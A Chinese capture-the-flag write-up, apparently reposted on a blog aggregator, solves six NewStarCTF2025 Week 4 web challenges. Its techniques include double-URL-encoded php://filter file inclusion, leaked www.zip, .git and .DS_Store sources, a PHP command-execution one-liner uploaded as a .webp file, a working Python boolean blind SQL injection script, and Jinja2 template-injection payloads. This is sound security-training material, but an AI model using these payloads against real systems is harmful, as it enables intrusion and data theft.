当前位置: 首页 > news >正文

NewStarCTF2025-Week4-Web

目录

1、mygo!!!

2、ez-chain

3、小E的秘密计划

4、mirror_gate

5、白帽小K的故事(2)

6、who'ssti


1、mygo!!!

存在flag.php

直接用file协议读

2、ez-chain

URL+rot13编码绕过一下就行了

def double_encode(s):return ''.join('%25{:02x}'.format(ord(c)) for c in s)
s_root_flag = "php://filter/read=string.rot13/resource=/flag"
print(double_encode(s_root_flag))

Payload:

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

3、小E的秘密计划

提示备份文件,直接试一下www.zip

提示git

找到用户名和密码:git cat-file -p f3d34d7cb96b5bcdcda980a1413d2e35154e98de

提示mac写的这段代码

应该存在DS 泄露,访问 .DS_Store

拿到文件名之后访问即可看到flag

4、mirror_gate

源码里看到提示

扫描一下,存在配置文件

会将 .webp 的文件当做php解析

直接传,内容稍作绕过即可:

<?=`tac /f*`?>

5、白帽小K的故事(2)

提示盲注

很明显可以看到回显不同

布尔盲注

过滤了空格,用括号换个写法就行了

flag不在当前数据库,在Flag数据库

表名和字段名都是flag

Exp:

# author:My6nimport requests
import stringurl = 'https://eci-2zefxfrs15rs8gpgz6j6.cloudeci1.ichunqiu.com:80/search'
dic = string.digits+string.ascii_letters+'{}-_,'
out = ''
Cookie = {'Cookie':'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1759757336,1759973191,1760016294,1760146947'}
for j in range(1,80):for k in dic:#payload = {"name":"amiya'&&if(substr(database(),1,1)='t',1,0)#"}#payload = {"name":f"amiya'&&if(substr((select(group_concat(schema_name))from(information_schema.schemata)),{j},1)='{k}',1,0)#"}#payload = {"name":f"amiya'&&if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='Flag')),{j},1)='{k}',1,0)#"}#payload = {"name": f"amiya'&&if(substr((select(group_concat(column_name))from(information_schema.columns)where((table_schema='Flag')and(table_name='flag'))),{j},1)='{k}',1,0)#"}payload = {"name": f"amiya'&&if(substr((select(flag)from(Flag.flag)),{j},1)='{k}',1,0)#"}re = requests.post(url, data=payload ,cookies=Cookie)#print(re.text)if "ok" in re.text:out += kbreakprint(out)

6、who'ssti

提交的内容会被Jinja2 当作模板渲染

调用到随机生成的那些函数就可以了

Payload:

{{ lipsum.__globals__.__builtins__.__import__('re').findall('a.', 'abcab') }}{{ lipsum.__globals__.__builtins__.__import__('difflib').get_close_matches('apple', ['ape','april','apple']) }}{{ lipsum.__globals__.__builtins__.__import__('random').choice([1,2,3,4]) }}{{ lipsum.__globals__.__builtins__.__import__('json').load(lipsum.__globals__.__builtins__.__import__('io').StringIO('{"a":1}')) }}{{ lipsum.__globals__.__builtins__.__import__('statistics').fmean([1,2,3,4]) }}

http://www.dtcms.com/a/531930.html

相关文章:

  • 主流多维表格产品深度解析:飞书、Teable、简道云、明道云、WPS
  • 怎么当网站站长网站建设都用那些软件
  • 装修中怎样避坑
  • MCoT在医疗AI工程化编程的实践手册(中)
  • RV1126 NO.33:OPENCV简介
  • [人工智能-大模型-84]:大模型应用层 - AI/AR眼镜:华为智能眼镜、苹果智能眼镜、Google Glass智能眼镜
  • 站长之家模板建立wordpress
  • WPF C# 视频播放器
  • Python中如何防止SQL注入攻击
  • 远程软件测评:关键维度评分与同类工具对比分析
  • 【HarmonyOS】动画—转场动效
  • Python函数定义与调用全解析:从基础语法到实战技巧
  • C++容器priority_queue
  • [linux仓库]打开线程的“房产证”:地址空间规划与分页式管理详解[线程·壹]
  • 昆明网站建设询力鼎科技做电商怎么找货源
  • 园区网站建设中山网站建设文化案例
  • 【算法速成课 3】康托展开(Cantor Expansion)/ 题解 P3014 [USACO11FEB] Cow Line S
  • 【java面向对象进阶】------抽象类+接口 综合实例
  • 自然语言处理实战——英法机器翻译
  • 图数据库系统学习指南(从入门到进阶)
  • 信息服务平台网站西峰住房和城乡建设局网站
  • 影像生成评估指标FID
  • 【金仓数据库】ksql 指南(三) —— 创建与管理表空间和模式
  • 高并发内存池 - 开发记录07
  • 品牌网站建设平台杭州排名优化公司
  • 做网站用的笔记本配置检测asp网站死循环
  • 建材公司网站建设方案金融网站建设方案ppt
  • 零基础从头教学Linux(Day 56)
  • 世冠科技2025复杂装备数智化研发与运维技术研讨会暨 GCKontrol GCAir 10.0 版本产品发布会圆满落幕
  • Qt6 学习——一个Qt桌面应用程序